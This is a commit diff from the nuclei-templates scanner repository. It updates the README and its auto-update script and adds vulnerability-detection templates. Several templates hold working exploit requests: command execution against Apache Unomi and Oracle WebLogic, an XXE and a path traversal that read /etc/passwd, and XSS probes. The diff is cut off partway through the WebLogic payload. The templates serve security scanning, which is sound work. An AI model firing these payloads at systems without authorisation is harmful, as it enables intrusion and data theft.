Auto Update README [Wed Nov 18 19:13:34 UTC 2020] 🤖

Merge pull request #624 from dwisiswant0/add/CVE-2020-13942
Add CVE-2020-13942
2026-11-07 08:36:19 -10:00 · 2020-11-18 19:13:34 +00:00 · 2020-11-19 00:42:55 +05:30 · 2020-11-18 19:09:59 +00:00 · 2020-11-19 00:39:33 +05:30 · 2020-11-19 00:47:19 +07:00
50 changed files with 58634 additions and 64 deletions
@@ -0,0 +1,49 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### Nuclei templates `{version}` overview
+
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | {countTpl("cves")} | files | {countTpl("files")} |
+| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
+| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
+| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
+| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
+| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
+| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
+| wordlists | {countTpl("wordlists")} |
+
+
+### Nuclei templates `{version}` tree overview
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+
+------
+**Notes:** 
+1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
+2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import os
+import subprocess
+
+def countTpl(path):
+	return len(os.listdir(path))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()
@@ -0,0 +1,40 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -8,4 +8,5 @@ cves/CVE-2020-13379.yaml
 cves/CVE-2013-2251.yaml
 vulnerabilities/x-forwarded-host-injection.yaml
 fuzzing/
+wordlists/
 workflows/
@@ -1,3 +1,4 @@
+
 # Nuclei Templates

 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -10,32 +11,31 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.1.2`
+### Nuclei templates `v7.2.6` overview

-| Template Directory      	| Number of Templates      |
-|---------------------------|--------------------------|
-| cves                     	|125                       |
-| default-credentials       |03                        |
-| dns                     	|04                        |
-| files                     |44                        |
-| fuzzing                   |02                        |
-| generic-detections        |03                        |
-| panels                    |39                        |
-| security-misconfiguration |25                  	   |
-| subdomain-takeover        |02           			   |
-| technologies              |32      				   |
-| tokens                    |08                        |
-| vulnerabilities           |33          			   |
-| workflows                 |15              		   |
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | 136 | files | 46 |
+| vulnerabilities | 39 | panels | 40 |
+| technologies | 38 | security-misconfiguration | 28 |
+| workflows | 16 | tokens | 8 |
+| dns | 6 | fuzzing | 5 |
+| generic-detections | 3 | default-credentials | 3 |
+| subdomain-takeover | 2 | payloads | 2 |
+| wordlists | 1 |

-### nuclei templates `v7.1.2` tree overview 
+
+### Nuclei templates `v7.2.6` tree overview

 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>

 ```
+├── LICENSE.md
+├── README.md
 ├── cves
 │   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
 │   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-11444.yaml
@@ -43,7 +43,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
 │   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7529.yaml
 │   ├── CVE-2017-7615.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
@@ -96,9 +95,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3402.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
@@ -110,6 +111,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
 │   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9670.yaml
 │   ├── CVE-2019-9978.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
@@ -118,22 +120,27 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-13942.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-14815.yaml
+│   ├── CVE-2020-14864.yaml
+│   ├── CVE-2020-14882.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16846.yaml
+│   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2034.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
 │   ├── CVE-2020-24223.yaml
 │   ├── CVE-2020-24312.yaml
 │   ├── CVE-2020-2551.yaml
 │   ├── CVE-2020-25540.yaml
+│   ├── CVE-2020-26214.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
@@ -152,12 +159,15 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8209.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
 │   ├── CVE-2020-9757.yaml
+│   ├── cve-2017-12637.yaml
 │   ├── cve-2019-9733.yaml
 │   └── cve-2020-0618.yaml
 ├── default-credentials
@@ -168,7 +178,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
@@ -179,6 +191,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── drupal-install.yaml
 │   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
 │   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
@@ -190,6 +203,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── magento-config.yaml
 │   ├── ntlm-directories.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
@@ -216,7 +230,10 @@ An overview of the nuclei template directory including number of templates and H
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
-│   └── directory-traversal.yaml
+│   ├── basic-auth-bruteforce.yaml
+│   ├── directory-traversal.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   └── wp-plugin-scan.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
@@ -238,12 +255,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
+│   ├── manage-engine-admanager-panel.yaml
 │   ├── mobileiron-login.yaml
-│   ├── mongo-express-web-gui.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
 │   ├── parallels-html-client.yaml
-│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
@@ -251,20 +267,23 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
 │   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard
 │   ├── traefik-dashboard.yaml
 │   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
-│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
+│   ├── apache-tomcat-snoop.yaml
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
 │   ├── django-debug-detect.yaml
@@ -278,11 +297,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jira-unauthenticated-user-picker.yaml
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
 │   ├── missing-csp.yaml
 │   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
 │   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
 │   ├── unauthenticated-airflow.yaml
@@ -296,6 +317,7 @@ An overview of the nuclei template directory including number of templates and H
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
@@ -303,10 +325,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kibana-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
@@ -314,6 +339,8 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
@@ -323,10 +350,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
 │   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
-│   ├── werkzeug-debugger-detect.yaml
-│   └── what-waf-detect.yaml
-├── test.yaml
+│   └── werkzeug-debugger-detect.yaml
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
@@ -337,7 +363,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
-│   ├── Symantec-Messaging-Gateway.yaml
 │   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
@@ -351,31 +376,41 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
+│   ├── nuuo-nvrmini2-rce.yaml
 │   ├── open-redirect.yaml
 │   ├── oracle-ebs-bispgraph-file-access.yaml
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
 │   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
 │   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
 │   ├── w3c-total-cache-ssrf.yaml
 │   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-emails-verification-for-woocommerce.yaml
 │   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
+├── wordlists
+│   └── wp-plugins.txt
 └── workflows
    ├── artica-web-proxy-workflow.yaml
+    ├── basic-auth-workflow.yaml
    ├── bigip-pwner-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitaiton-workflow.yaml
+    ├── jira-exploitation-workflow.yaml
    ├── liferay-rce-workflow.yaml
    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
@@ -390,7 +425,7 @@ An overview of the nuclei template directory including number of templates and H

 </details>

-14 directories, **338 templates**. 
+**15 directories, 375 files**.

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -400,4 +435,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
-
@@ -1,6 +1,6 @@
 id: cve-2005-2428
 info:
-  name: CVE-2005-2428 testing
+  name: CVE-2005-2428
  author: CasperGN
  severity: medium

@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/maint/index.php?packages
        Content-Length: 160
@@ -33,7 +32,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: {{Hostname}}/maint/index.php?packages
        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 91
        DNT: 1
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: https://{{Hostname}}/
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 73
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/
@@ -30,7 +29,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -44,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/json
        Content-Length: 259
@@ -43,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1

@@ -13,8 +13,16 @@ requests:
    path:
      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(1)>"
        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -27,7 +26,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -0,0 +1,60 @@
+id: cve-2020-13942
+
+info:
+  name: Apache Unomi Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Remote Code Execution in Apache Unomi.
+    Apache Unomi allows conditions to use OGNL and MVEL scripting which
+    offers the possibility to call static Java classes from the JDK
+    that could execute code with the permission level of the running Java process.
+    This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
+
+    References:
+    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
+    - https://twitter.com/chybeta/status/1328912309440311297
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/context.json"
+      - "{{BaseURL}}:8181/context.json"
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "filters": [
+          {
+            "id": "nuclei",
+            "filters": [
+              {
+                "condition": {
+                  "parameterValues": {
+                    "nuclei": "script::Runtime.getRuntime().exec('id')"
+                  },
+                  "type": "profilePropertyCondition"
+                }
+              }
+            ]
+          }
+        ],
+        "sessionId": "nuclei"
+      }
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+          - "context-profile-id"
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "(profile|session)(Id|Properties|Segments)"
+          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
+        condition: and
+        part: body
@@ -0,0 +1,29 @@
+id: cve-2020-14815
+
+info:
+  name: Oracle Fusion Middleware XSS
+  author: shine
+  severity: medium
+
+  # Reference:- https://twitter.com/HackerOn2Wheels/status/1326927875279380480
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=\"><svg/onload=alert(document.domain)>"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=alert(document.domain)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -0,0 +1,46 @@
+id: cve-2020-14882
+
+info:
+  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Vulnerability in the Oracle WebLogic Server
+    product of Oracle Fusion Middleware (component: Console).
+    Supported versions that are affected are 10.3.6.0.0,
+    12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
+    Easily exploitable vulnerability allows unauthenticated
+    attacker with network access via HTTP to compromise the server.
+    Successful attacks of this vulnerability can result in takeover.
+
+  # References:
+  # - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  # - https://twitter.com/jas502n/status/1321416053050667009
+  # - https://youtu.be/JFVDOIL0YtA
+  # - https://github.com/jas502n/CVE-2020-14882#eg
+
+requests:
+  - payloads:
+      exec:
+        - "type C:\\Windows\\win.ini"  # Windows
+        - "cat /etc/passwd"  # *nix
+    raw:
+      - |
+        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
+        Host: {{Hostname}}
+        cmd: exec
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded; charset=utf-8
+
+        _nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B